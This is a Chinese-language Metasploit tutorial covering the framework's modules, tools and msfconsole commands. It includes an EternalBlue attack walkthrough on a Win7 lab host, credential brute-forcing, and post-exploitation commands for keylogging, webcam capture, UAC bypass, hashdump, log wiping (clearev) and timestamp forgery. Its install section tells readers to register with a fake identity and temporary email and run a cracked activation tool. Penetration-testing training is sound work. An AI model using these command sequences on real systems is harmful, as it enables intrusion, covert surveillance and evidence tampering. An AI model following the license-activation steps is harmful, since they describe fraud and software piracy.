1、 Metasploit 简介
简介
Metasploit Pro 文档:https://docs.rapid7.com/metasploit/
Metasploit Framework 文档:https://docs.metasploit.com/
免费的 metasploit 教程:https://www.offsec.com/metasploit-unleashed/
Metasploit基础使用教程:https://www.cnblogs.com/HalfwayMousie/p/19177466
Metasploit Pro 5.0.0:https://www.cnblogs.com/Strandedonsunnyday/p/20240847
下载 Metasploit Pro:https://www.rapid7.com/products/metasploit/download/pro/thank-you/
apt 下载页面:https://apt.metasploit.com/
Metasploit Framework(简称 MSF,"美少妇"),是 Rapid7 公司开源的全球最主流渗透测试框架,红队、漏洞验证、内网后渗透标准工具,Windows/macOS/WSL 均可部署。核心定位,完整渗透全流程工具:信息收集 → 漏洞扫描 → 漏洞利用 → 远程控制 → 权限提升 → 内网横向移动 → 持久化后门 一站式完成。
版本比较:https://www.rapid7.com/products/metasploit/download/editions/
- 开源版本:Metasploit Framework:https://github.com/rapid7/metasploit-framework ,只包含基础的命令行界面和手动利用。文档:https://docs.metasploit.com/
- 商业版本:Metasploit Pro 适合那些喜欢用网页面进行渗透测试的用户。Pro 中可用的部分功能在 Metasploit Framework 中不可用。如果你是命令行用户,但仍想使用商业功能,Metasploit Pro 自带控制台,它非常类似于 msfconsole,但通过命令行访问了 Metasploit Pro 的大部分功能。Metasploit Pro 功能:https://docs.rapid7.com/metasploit/getting-started/
Metasploit Framework 和 Metasploit Pro 功能对比区别:
| All Features | Pro | Framework |
|---|---|---|
| - Collect | ||
| 渗透测试的事实标准,包含1500多项漏洞利用 | ✅ | ✅ |
| 网络数据扫描的导入 | ✅ | ✅ |
| 网络发现 | ✅ | ❌ |
| 基本利用 | ✅ | ❌ |
| 用于网络分段测试等离散任务的元模块 | ✅ | ❌ |
| 通过远程API实现集成 | ✅ | ❌ |
| - Automate (自动化) | ||
| 简单的网页界面 | ✅ | ❌ |
| 智能利用 | ✅ | ❌ |
| 自动化凭证暴力破解 | ✅ | ❌ |
| 基线渗透测试报告 | ✅ | ❌ |
| 标准基线审计的向导 | ✅ | ❌ |
| 自动化自定义工作流程的任务链 | ✅ | ❌ |
| 闭环漏洞验证以优先处理修复 | ✅ | ❌ |
| - Infiltrate (渗透) | ||
| 基本命令行界面 | ❌ | ✅ |
| Manual exploitation (手动利用) | ❌ | ✅ |
| Manual credentials brute forcing (手动凭据暴力破解) | ❌ | ✅ |
| Dynamic payloads to evade leading anti-virus solutions (动态负载以规避主流杀毒软件) | ✅ | ❌ |
| Phishing awareness management and spear phishing (钓鱼意识管理与定向钓鱼攻击) | ✅ | ❌ |
| Choice of advance command-line (Pro Console) and web interface (可选择的高级命令行(Pro Console)和网页界面) | ✅ | ❌ |
通过 Metasploit 的每夜构建安装包(nightly installers)可以同时获得免费的开源 Metasploit Framework,以及 Metasploit Pro 的免费试用版。Metasploit 提供两种不同的 UI,msfconsole 和 WebUI。
下载,安装
每夜包:https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
sysin.org:https://sysin.org/ 在这个网站上找到 "分类",然后点击 "windows",然后搜索 "metasploit" 即可找到最新版的 "Metasploit Framework、Metasploit pro"
Metasploit Pro :
- 1、下载 Metasploit Windows 版本( Metasploit-Latest-Windows-Installer.exe )
- 2、创建帐户( 使用 临时虚拟邮箱: https://www.tempo-mail.com/en 验证帐户 )
- 3、创建虚拟身份:https://www.fakenamegenerator.com/
- 4、转到(https://www.rapid7.com/products/metasploit/download/pro/)或(https://www.rapid7.com/try/metasploit-pro/)
- 5、完全按照在 fakenamegenerator.com 上获得的个人资料填写所有内容,电子邮件地址除外
- 6、从 Tempo-Mail.com 填写电子邮件地址
- 7、完成验证码并点击提交
- 8、使用您在 Tempo-Mail.com 上获得的密钥安装适当的 Metasploit Windows 版本
- 9、运行(Metasploit Pro 激活工具.exe)
- 10、重启你的电脑
- 11、Metasploit Pro 激活成功
如果需要更新 Metasploit Pro,则更新时重复该过程。
Metasploitable 靶机
Metasploitable :https://metasploitable.org/
Kali Linux 搭建 Metasploitable3 靶机详细过程:https://www.cnblogs.com/4geek/p/13140119.html
Metasploitable 3漏洞靶场分享:https://www.freebuf.com/articles/web/280308.html
Metasploitable是一个虚拟靶机系统,里面含有大量未被修复的安全漏洞,它主要是用于metasploit-framework测试的漏洞目标
靶机安装略。
学习路线:了解 MSF ---> 安装 msf3-linux 靶机 ---> MSF基本使用方法 ---> MSF实战:攻击 win7主机并远程执行命令、扫描靶机 mysql 服务
2、入门指南
发布说明:https://docs.rapid7.com/insight/command-platform-release-notes/
Metasploit Framework
kali 中 msf 位置

关键文件夹
| 目录名 | 核心用途 |
|---|---|
modules | MSF 四大核心模块存放目录(auxiliary/exploits/payloads/post),漏洞利用、信息扫描、后渗透脚本都在这里 |
plugins | MSF 扩展插件目录,用于加载第三方功能插件(如数据库导出、Cobalt Strike 联动插件),还可以集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等。 |
scripts | Meterpreter 后渗透脚本目录,包含权限提升、密码抓取、内网扫描等常用自动化脚本 |
data | 存放漏洞库指纹、攻击载荷配置、字典、漏洞特征规则、Evade 免杀规则等静态资源 |
lib | Ruby 核心依赖库,MSF 的底层代码实现 |
tools | 辅助工具目录,包含 msfvenom、哈希处理、离线漏洞更新等配套工具 |
app | MSF 控制台、RPC 服务、Web 服务的程序主逻辑代码 |
db | 数据库初始化脚本,用于连接 PostgreSQL 实现资产、扫描结果本地存储 |
vendor | Ruby 第三方依赖包,bundle 安装的所有 Gem 依赖都在此目录 |
核心可执行脚本文件
msfconsole:MSF 主程序,日常渗透最常用的命令行控制台入口msfvenom:载荷生成工具,用来生成 Windows/Linux/Android 反弹木马msfd:MSF 后台守护进程msfrpc:RPC 远程调用服务,支持第三方程序调用 MSF 漏洞能力msfupdate:MSF 漏洞库、模块在线更新脚本
相关介绍
- 辅助 ( Auxiliary ) 模块。Auxiliary 模块主要作用是 "前置信息收集",不获取目标权限,只做探测、扫描、爆破、嗅探,渗透第一步必备。 常用场景:
端口扫描、存活主机探测
SMB、FTP、SSH、Mysql 弱口令爆破
CMS 指纹识别、漏洞验证、DNS 枚举、ARP 扫描 经典模块:auxiliary/scanner/portscan/tcp(全连接端口扫描) - 漏洞利用 ( Exploit ) 模块。Exploit 是 核心攻击模块,存放全球公开漏洞的攻击代码,触发系统 / 软件漏洞执行任意代码。 经典漏洞:MS17-010(永恒之蓝 EternalBlue),Log4j2、Spring4Shell、Apache Struts2、WebLogic 反序列化。
使用逻辑:找到漏洞 → use 加载模块 → 配置目标 IP → 执行攻击。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击、以及利用配置错误等。
Exploits 是 metasploit 框架的所有渗透攻击模块:主要包含 exp,0day,各种漏洞利用的脚本,主要的攻击代码都在里面,包含exp的路径的命名规则是系统/服务/模块,在使用exp是可以根据这个命名方法来找(也可以用search指令来寻找),比如use exploit/windows(系统)/server(服务)/模块名。
进入windows 攻击模块:cd /usr/share/metasploit-framework/modules/exploits/windows - 后渗透攻击 (Post ) 模块。也叫 权限维持。就是拿到权限后深度操作。这个目录里面放着 msf 的 exploit 执行成功后,向目标机发送的一些功能性指令比如:提权,获取 hash 等。
Meterpreter 会话建立后使用:
系统信息收集、账号密码抓取、浏览器记录窃取
系统提权、哈希抓取(mimikatz)
内网网段扫描、路由转发、跳板横向渗透
持久化后门植入、权限维持。 - 攻击载荷 ( Payload )。攻击载荷(Payload) 是指 "目标系统被攻击成功之后,在目标系统要执行的 代码或者命令,作用是攻击成功后拿到返回的 shell"。Payload 主要作用就是 "攻击成功后拿到返回的 Shell",即 漏洞利用成功后,在目标机器执行的代码,用来建立远程控制会话。
主流两类 Payload
Staged(分段载荷,常用) 体积小,先建立反向连接,再下载完整控制程序 示例:windows/x64/meterpreter/reverse_tcp(反向 TCP 最常用)
Stageless(无分段载荷) 完整载荷打包,免杀更好,适合生成独立 exe 木马
两种 Shell 类型
普通 cmd shell:只能执行系统命令,功能弱
Meterpreter(推荐):MSF 专属高级 Shell,内存运行无落地文件、免杀强,支持截图、键盘记录、权限提升、内网漫游、文件上传下载、摄像头调用等后渗透全套功能。 - 溢出代码 ( Shellcode )。shellcode 是在渗透攻击时为攻击载荷运行的一组机器指令,shellcode 通常用汇编语言编写,在大多数情况下,目标系统执行了 shellcode 这一组指令后,才会提供一个命令行 shell 或 Meterpreter shell,这也是 shellcode 名称的由来
- 模块 ( Module )。在 MSF 中,一个模块是指 MSF 框架中所使用的一段软件代码组件,在某些时候,你可能会使用一个渗透攻击模块 ( Exploit module),也就是用于实际发起渗透攻击的软件组件,而在其他时候,则可能使用一个辅助模块(auxiliary module)用来扫描一些诸如扫描或系统查点的攻击动作
- 监听器 ( Listenre )。监听器是 MSF 中用来等待连入网络连接的组件,举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责这些网络连接
- Nops ( 空指令 )。缓冲区溢出漏洞中填充无意义指令,保证载荷稳定执行,现在使用较少。
- Encoders ( 编码 )。包含各种编码工具,可以对 Payload 进行编码加密(Base64、XOR、AES 等)从而改变特征,用来绕过 入侵检测、杀毒、EDR 查杀 等。主要作用就是 绕过免杀
- 躲避 ( evasion ) 模块。生成免杀 payload。一键生成免杀木马,绕过 Windows Defender、360 等主流杀毒软件。
- Data ( 数据 )。这个目录放着 Meterpreter,PassiveX,Vnc,DLLS 等这些工具和一些用户接口代码,Msfweb 和一些其他模块用到的数据文件
- Plugins ( 插件 )。这里的模块用户需要使用load加载,提供数据库连接插件,和各种要用到的插件(扩展插件)
msf 相关命令
列出以 msf 开头的所有可执行命令
- 方法 1:输入 msf 后,然后按 tab 键,会自动列出所有可用命令
- 方法 2:执行命令:bash -c 'compgen -c msf'
msfconsole 进入 msfconsole
msfd
msfdb
msf-egghunter
msf-exe2vba 用法:msf-exe2vba [exe] [vba]
msf-exe2vbs 用法: msf-exe2vbs [exe] [vbs]
msf-find_badchars
msf-halflm_second
msf-hmac_sha1_crack
msf-java_deserializer
msf-jsobfu
msf-makeiplist
msf-md5_lookup
msf-metasm_shell
msf-msf_irb_shell
msf-nasm_shell
msf-pattern_create
msf-pattern_offset
msfpc
msf-pdf2xdp
msfrpc
msfrpcd
msfupdate 已经不在支持,使用 apt update; apt install metasploit-framework 代替
msfvenom Metasploit独立 payload 生成器。也是 msfpayload 和 msfencode 的替代品
msf-virustotal
核心主程序(日常渗透高频使用)
- msfconsole MSF 交互式控制台,最常用入口,漏洞利用、扫描、后渗透所有操作都在该终端内完成。
- msfdb MSF 数据库管理工具,用来初始化、重置、启动 PostgreSQL 数据库,用于存储扫描资产、漏洞结果、会话信息。 常用:
msfdb init、msfdb reinit - msfvenom 载荷生成神器,生成 Windows/Linux/Android/Mac 等平台木马、反弹 Shell、各类免杀 Payload,替代老版本
msfpayload + msfencode。 - msfupdate MSF 框架、漏洞模块、POC 漏洞库在线更新命令,拉取官方最新漏洞脚本。
- msfd MSF 守护进程,将 msfconsole 以后台服务方式运行,支持远程 RPC 调用。
- msfrpc / msfrpcd RPC 远程服务工具:
msfrpcd:启动 MSF RPC 后台服务,开放端口供第三方程序、脚本、Cobalt Strike 等工具调用 MSF 能力。msfrpc:RPC 客户端,本地连接 RPC 服务进行交互操作。
缓冲区溢出漏洞专用工具(溢出漏洞调试必备)
- msf-pattern_create 生成一段不重复的随机模式字符串,用于缓冲区溢出定位溢出偏移量。 示例:
msf-pattern_create -l 200 - msf-pattern_offset 根据崩溃时 EIP 寄存器的值,计算精准溢出偏移长度,搭配上面命令使用。
- msf-find_badchars 自动筛选、找出目标系统中不能使用的坏字符(比如
\x00空字节、换行符等),避免 Payload 传输过程被截断。 - msf-nasm_shell NASM 汇编交互式命令行,用来测试、编译 Shellcode 汇编指令,快速获取机器码。
- msf-metasm_shell 轻量汇编执行环境,快速编写、调试、转换汇编代码为十六进制 Shellcode。
- msf-msf_irb_shell Ruby 交互式终端,可直接调用 MSF 底层 Ruby API,用于自定义脚本调试、框架二次开发。
- msf-egghunter 蛋壳载荷,当缓冲区空间不足放不下完整 Shellcode 时,先植入一段极小的搜索代码,再去内存中查找完整攻击载荷执行。
免杀、代码格式转换类工具
- msf-exe2vba 将 EXE 木马程序转换成 VBA 宏代码,用于 Office 宏病毒钓鱼攻击(Word/Excel 宏执行)。
- msf-exe2vbs 把 EXE 可执行文件封装为 VBS 脚本,依托 Windows 脚本解释器运行,绕过部分文件上传拦截。
- msf-jsobfu JavaScript 代码混淆加密工具,对 JS 类型 Payload 做变形,绕过 WAF、前端代码检测。
- msf-pdf2xdp PDF 文档格式转换,用于构造恶意 PDF 漏洞文件,针对 Adobe 阅读器漏洞进行渗透钓鱼。
- msfpc(MSF Payload Creator) Payload 图形化生成工具,交互式向导一键生成各类反弹木马,新手友好,不用记忆复杂 msfvenom 参数。
密码哈希、数据辅助工具
- msf-md5_lookup MD5 哈希在线反向查询工具,调用公开彩虹表数据库,尝试将 MD5 密文解密为明文密码。
- msf-hmac_sha1_crack 针对 HMAC-SHA1 加密格式的哈希进行暴力破解,常用于内网认证、API 密钥类安全测试。
- msf-makeiplist 根据网段、起始 IP 批量生成 IP 地址列表,用于批量端口扫描、资产探测前生成目标清单。
- msf-virustotal 对接 VT 病毒查杀平台,将生成的木马、恶意文件上传至 Virustotal,检测各大杀毒引擎的查杀情况,用来辅助免杀调优。
专项漏洞工具
- msf-halflm_second 针对 Windows LM 哈希的半 LM 漏洞辅助爆破工具,用于内网抓取哈希后的密码暴力破解场景。
- msf-java_deserializer Java 反序列化漏洞辅助工具,快速生成、测试 Java 反序列化 Payload,用于 Web 中间件、Java 应用漏洞验证。
官网文档
文档:https://docs.metasploit.com/docs/using-metasploit/
Metasploit Pro
快速入门指南:https://docs.rapid7.com/metasploit/quick-start-guide/
步骤通常如下:
文档:https://docs.rapid7.com/metasploit/installing-metasploit-pro/
- 安装 Metasploit Pro
- 探测扫描目标
- 验证漏洞
- 漏洞的利用
- 有效载荷
- 后渗透
- 凭据,凭证
- 社会工程学
- 任务自动化
- 报告,汇报
- 日志
- 元模块
- 教程
- Metasploit Pro 网页界面
- 管理项目
- 主机
- 管理和更新 Metasploit
- Managing User Accounts
- Managing License Keys
- Verifying Downloads with SHA-1 Hashes
- Backing Up and Restoring Metasploit Data
- Notification Center
- Updating Metasploit
- Restarting Metasploit Services
- Uninstalling Metasploit
- Replacing the SSL Certificate
- Set Up a Global SMTP Server
- Reset Username and Password
- Managing Single Sign On
- Pro Console
- 排错
- 使用 APIs
3、msf 命令
漏洞排查探测流程
首先拿到需要测试的 IP 地址,然后利用天镜、nessnus、极光工具进行漏洞扫描,扫描完成后进行漏洞探测,把收集到的漏洞在 MSF 漏洞框架下进行测试。进入msfconsole下,输入search 搜索想要渗透测试的实例漏洞编码,如果没有找到我想要的实例漏洞编码那么我就会去百度谷歌上查找想要的漏洞脚本或者漏洞样例,如果找到想要的实例漏洞编码那么就直接输入 use+路径进入,进入后输入show options 或 info 进行查看配置环境,查看后输入 set+关键字 对配置信息做些调整主要调整关键设置有 rhosts、rport、target,调整完配置接下来就可以输入run 或者 exploit 开始攻击了,攻击中如果权限太低那么就提取,如果需要开 3389 测试那么就开启 3389 测试
msf 使用方法
- 进入框架:msfconsole
- 使用 search 命令查找相关漏洞: search ms17-010
- 使用 use 进入模块: use exploit/windows/smb/ms17_010_eternalblue
- 使用 info 查看模块信息: info
- 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
- 查看模块需要配置的参数:show options
- 设置参数:set RHOST 192.168.125.138
- 攻击:exploit / run
- 后渗透阶段
基于 TCP 协议收集主机信息
use auxiliary/scanner/portscan/syn (使用辅助模块下的tcp半连接扫描)
show missing (显示你该设置而没有设置的参数)
set RHOSTS 192.168.1.1 (设置主机ip)
set PORTS 80
run
一些常用的破解模块
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous一些好用的模块
auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具)
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版 洞略老)
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令 没回显:()
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)一些好用的脚本
uxiliary/scanner/rsync/modules_list (Rsync)
auxiliary/scanner/misc/redis_server (Redis)
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)
auxiliary/scanner/mongodb/mongodb_login (Mongodb)
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)
auxiliary/scanner/http/http_put (http Put)
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)
auxiliary/scanner/http/svn_scanner (svn Hunter)
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)
auxiliary/scanner/http/zabbix_login (Zabbix )
实战: 使用 msf 渗透 Win7 主机并远程执行命令
- 前期:win7 x64旗舰版操作系统 | 利用ms17-010 这个漏洞
- msf6 > search ms17-010 | 设置辅助模块auxiliary 目标主机(win7)ip :use auxiliary/scanner/smb/smb_ms17_010 ,set rhosts 192.168.x.x | 备注:取消设置unset RHOSTS
- 设置攻击模块:search ms17-010 | 使用永恒之蓝漏洞(eternalblue):use exploit(windows/smb/ms17_010_eternalblue)
- show options | 设置目标主机(win7)ip :set RHOSTS 192.168.x.x | 查看options配置是否正确 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
- show targets 检查可攻击的目标主机 | set target 4 设置正确的可攻击的目标主机 | 检查payload 检查端口是否被占用
- run | exploit 开始攻击
- 如果目标主机是win7 可以通过chcp 65001 解决乱码问题 | backgroud 保存连接到后台 | sessions 查看所有连接
- net user 查看所有用户 | help 查看所有可执行的命令 | run VUC 远程监控 | session -i 4(数字) 进入连接 | run -j 保存到后台连接 | sessions -k 5(数字) 删除连接 |
实战:使用 msf 扫描靶机上 mysql 服务的空密码
- msf 搜索 mysql:search mysql | use auxiliary(scanner/mysql/mysql_login)使用mysql_login登录密码
- set rhosts 192.168.x.x(靶机ip)| set username root 设置mysql用户为root
- run | exploid 直接执行攻击
- creds 列出postgrepsql 所有凭证
- 将扫描结果导出 metasploit,然后将结果导入另一台机器的 metasploit 中。
db_connect 连接到现有的数据库
db_disconnect 断开当前连接的数据库
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件 ( 文件类型被自动检测 ) - db_export -h 查看导出帮助,导出格式(xml、pwdump) | db_export -f xml /root/bak.xml 导出所有数据库到kali /root目录下
- 清空 msf 数据库:msfdb reinit | services 查看所有漏洞利用过的服务信息
- hosts 查看所有连接过的主机 | db_import /root/bak.xml 导入数据库 | hosts -h查看主机帮助 | hosts -a|-d 添加|删除主机
msfconsole 常用命令总结
如果想要把结果存到数据库,则可以开启 postgresql:
- systemctl start postgresql
- systemctl enable postgresql
启动 msf:msfconsole
msf help 帮助信息:
msf6 > help
核心 命令
? 帮助。用法:? 后面加命令(中间有空格)
banner 显示 metasploit 的 banner
cd 切换目录
color 切换颜色
connect 连接一个主机
debug 显示调试有用的信息
exit 退出
features 显示尚未发布的功能列表,可以选择加入
get 获取上下文特定变量的值
getg 获取全局变量的值
grep Grep 另一个命令的输出
help 帮助。用法:命令 help
history 显示输入命令的历史记录
load 载入插件
quit 退出 console
repeat 重复执行命令
route 查看一个会话的路由信息
save 保存动作
sessions 转储会话列表,显示会话信息
set 给一个变量赋值
示例:
set rhosts 设置远程IP
set lhost 设置我的IP
set lport 设置端口
set srvport 8888
setg 给一个 全局 变量赋值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
tips 显示提示
unload 卸载插件
unset 解除一个或多个变量
unsetg 解除一个或多个全局变量
version 显示MSF和控制台版本
模块命令( 只能在模块下使用 )
advanced 显示高级选项
back 返回 上一级
clearm 清除模块堆栈
favorite 向收藏模块列表中添加模块
info 显示一个或多个模块的信息,即漏洞的信息
listm 列出模块堆栈
loadpath 在路径中搜索和加载模块
options 显示模块的全局选项
popm 将最新的模块从堆栈中弹出并使其激活
previous 将先前加载的模块设置为当前模块
pushm 将活动模块或模块列表压入模块堆栈
reload_all 从所有已定义的模块路径重新加载所有模块
search 关键字 搜索包含 关键字 的模块
search windows type:exploit 只搜索包含windows的攻击模块
show 按两次键盘上的Tab键,显示 show 可用参数
show 模块名 查看模块包含的内容
show all
show auxiliary
show encoders
show exploits
show favorites
show nops
show options
show payloads
show plugins
show post
use 进入模块。用法:use 序列号(escription) 或者 use 路径
作业(Job) 命令
============
handler 开始 "处理payload" 作业
jobs 显示和管理所有作业。
kill 结束一个作业。
rename_job 重命名一个作业。
资源 脚本 命令
========================
makerc 将从开始到结束时输入的所有命令保存到一个文件中。
resource 运行存储在文件中的命令。
数据库 后端 命令
=========================
analyze 分析指定的 地址、地址段
db_connect 连接到已经存在的数据库服务
db_disconnect 断开当前的数据库服务
db_export 导出到文件
db_import 导入扫描结果文件(文件类型将自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存(已弃用)
db_remove 删除保存的数据服务条目
db_save 保存当前数据服务连接为默认值,以便在启动时重新连接
db_status 显示当前 数据服务 状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有 战利品(肉鸡)
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭证 后端 命令
============================
creds 列出数据库中的所有凭据
开发者 命令
==================
edit 编辑当前模块或文件
irb 在当前上下文中打开一个交互式Ruby shell
log 如果可能的话,将 frame.log 分页到最后
pry 打开当前模块或框架上的Pry调试器
reload_lib 从指定路径重新加载Ruby库文件
time 运行特定命令所需的时间
msfconsole
==========
msfconsole 是Metasploit框架的主要接口
示例:
sessions -k 1 终止第一个会话
jobs -k 2-6,7,8,11..15 停止一些正在运行的额外作业
check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255 检查一组IP地址
set RHOSTS fe80::3990:0000/110, ::1-::f0f0 目标IPv6主机
set RHOSTS www.example.test/24 从一个已解析的域名中获取 IP地址
msf6 >
可以看到,帮助信息主要分下面几类命令
- Core Commands # 核心命令
- Module Commands # 模块命令
- Job Commands # 后台任务命令
- Resources Script Commands # 资源脚本命令
- Database Backend Commands # 数据库后端命令
- Credentials Backend Commands # 证书 / 凭证 后端命令
- Developer Commands # 开发人员命令
search keywords(参数)
- 查找 名字查找 mysql 的漏洞:search name:mysql
- 通过路径查找模块:search path:mysql
- 通过平台查找:search platform mysql
- 搜索 linux 平台的 exploits(渗透攻击模块):search type:exploits name:linux
搜索出来后,每列的含意是:
# 编号
Name 名称
Disclosure Date 披露曰期
Rank 排名等级
Check 检查
Description 说明、描述每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 字段。用户可以基于Rank 对漏洞利用模块进行搜索,分类以及排序。Rank 按照可靠性降序排列:
excellent 漏洞利用程序绝对不会使目标服努崩溃,就像Sq|l注入、命令执行、远程文件包含、 本地文件包含等等。除非有特殊情况,典型的内卢破坏利用程序不可以被评估为该级别。一
great 该漏洞利用程序有一个默认的目标系 井且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一介特定的返回地址。
good 该漏洞利用程序有一个默认目标系统,井且是这种类型软件的"常见情况"(桌面应用程序的 Windows 7,服务器的2012等)
normal 该漏洞利用程序是可靠的,但是依赖于特定的版本并且不能或者不能可靠地自动测。
average 该漏洞利用程序不可靠或者难以利用。
low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于50%的利用成功率)
manual 该漏洞利用程序不稳定或者难以利用井且基于拒绝服务(DOS)。如果模块只在用户特别配置的时候才会被用到,否则不会被使用到,那么也可以评为该等
根据 CVE( 好比一个字典,什么字典呢?存放广泛认同的信息安全漏洞或已经暴露出来的弱点给出一个公共的名称)搜索 exploit 相关模块
- search cve:CVE-2017-8464 type:exploit 搜索这个漏洞的渗透攻击模块
- search cve:2020 type:linux
- use 编号(0,1,2,3....) 使用漏洞
- back 退出当前漏洞,但是不退出 msf
- info 显示漏洞详细信息
- show options 查看漏洞利用所需要的信息
- show targets 显示这个漏洞可以利用的所有平台
- set target 34 设置漏洞利用平台编号为34的平台
- set rhosts 192.168.56.xxx 设置目标主机ip
- run 直接运行漏洞
- shell 进入目标机执行脚本
一些常用命令
show exploits 列出metasploit框架中的所有渗透攻击模块
show payloads 列出metasploit框架中的所有攻击载荷
show auxiliary 列出metasploit框架中的所有辅助攻击载荷
search name 查找metasploit框架中所有的渗透攻击和其他模块
info 展示出制定渗透攻击或模块的相关信息
use name 装载一个渗透攻击或模块
LHOST 本地可以让目标主机连接的IP地址,
通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用
RHOST 远程主机或是目标主机
set function 设置特定的配置参数
setg function 以全局方式设置特定的配置参数
show options 列出某个渗透攻击或模块中所有的配置参数
show targets 列出渗透攻击所有支持的目标平台
set target num 指定你所知道的目标的操作系统以及补丁版本类型
set payload name 指定想要使用的攻击载荷
show advanced 列出所有高级配置选项
set autorunscript migrate -f 在渗透攻击完成后,将自动迁移到另一个进程
check 检测目标是否选定渗透攻击存在相应的安全漏洞
exploit 执行渗透攻击或模块来攻击目标
exploit -j 在计划任务下进行渗透攻击
exploit -z 渗透攻击完成后不与回话进行交互
exploit -e encoder 制定使用的攻击载荷编码方式
exploit -h 列出exploit命令的帮助信息
sessions -l 列出可用的交互会话
sessions -l -v 列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞
sessions -s script 在所有活跃的metasploit会话中运行一个特定的metasploit脚本
sessions -K 杀死所有活跃的交互会话
sessions -c cmd 在所有活跃的metasploit会话上执行一个命令
sessions -u sessionID 升级一个普通的win32 shell到metasploit shell
db_create name 创建一个数据库驱动攻击所要使用的数据库
db_connect name 创建并连接一个数据库驱动攻击所要使用的数据库
db_namp 利用nmap并把扫描数据存储到数据库中
db_autopwn -h 展示出db_autopwn命令的帮助信息
db_autopwn -p -r -e 对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell
db_destroy 删除当前数据库
# execute命令是在后渗透阶段,在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
load 可载入的 插件

-d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行
"-o hack.txt"是payload.exe的运行参数
migrate进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> # 将Meterpreter会话移植到指定pid值进程中
kill <pid值> # 杀死进程
clearev清除日志
clearev # 清除windows中的应用程序日志、系统日志、安全日志
timestomp伪造时间戳
timestomp C:\ -h #查看帮助
timestomp -v C:\2.txt #查看时间戳
timestomp C:\2.txt -f C:\1.txt #将1.txt的时间戳复制给2.txt
timestomp c:\test\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间
portfwd端口转发
portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
autoroute添加路由
run autoroute -h # 查看帮助
run get_local_subnets # 查看目标内网网段地址
run autoroute -s 192.168.183.0/24 # 添加目标网段路由
run autoroute -p # 查看添加的路由
利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
Socks代理
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 2000
run
然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服务器
socks4 127.0.0.1 2000
proxychains nmap -Pn -sT 192.168.80.129 -p1-1000 #proxychains代理访问执行nmap操作
键盘记录
keyscan_start # 开始键盘记录
keyscan_dump # 导出记录数据
keyscan_stop # 结束键盘记录
网络摄像头
record_mic # 音频录制
webcam_chat # 开启视频聊天(对方有弹窗)
webcam_list # 查看摄像头
webcam_snap # 通过摄像头拍照
webcam_stream # 通过摄像头开启视频监控(以网页形式进行监控≈直播)
截屏
screenshot # 截屏
use espia # 使用espia模块
screengrab # 截屏
绕过 UAC 提权
msf内置一些bypassuac脚本,原理不同,使用方法类似,执行后返回一个新的会话,执行getsystem即可提权
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs
use exploit/windows/local/bypassuac
set session 1
run
getsystem
窃取hash及密码&哈希传递
窃取 hash 及 密码
hashdump
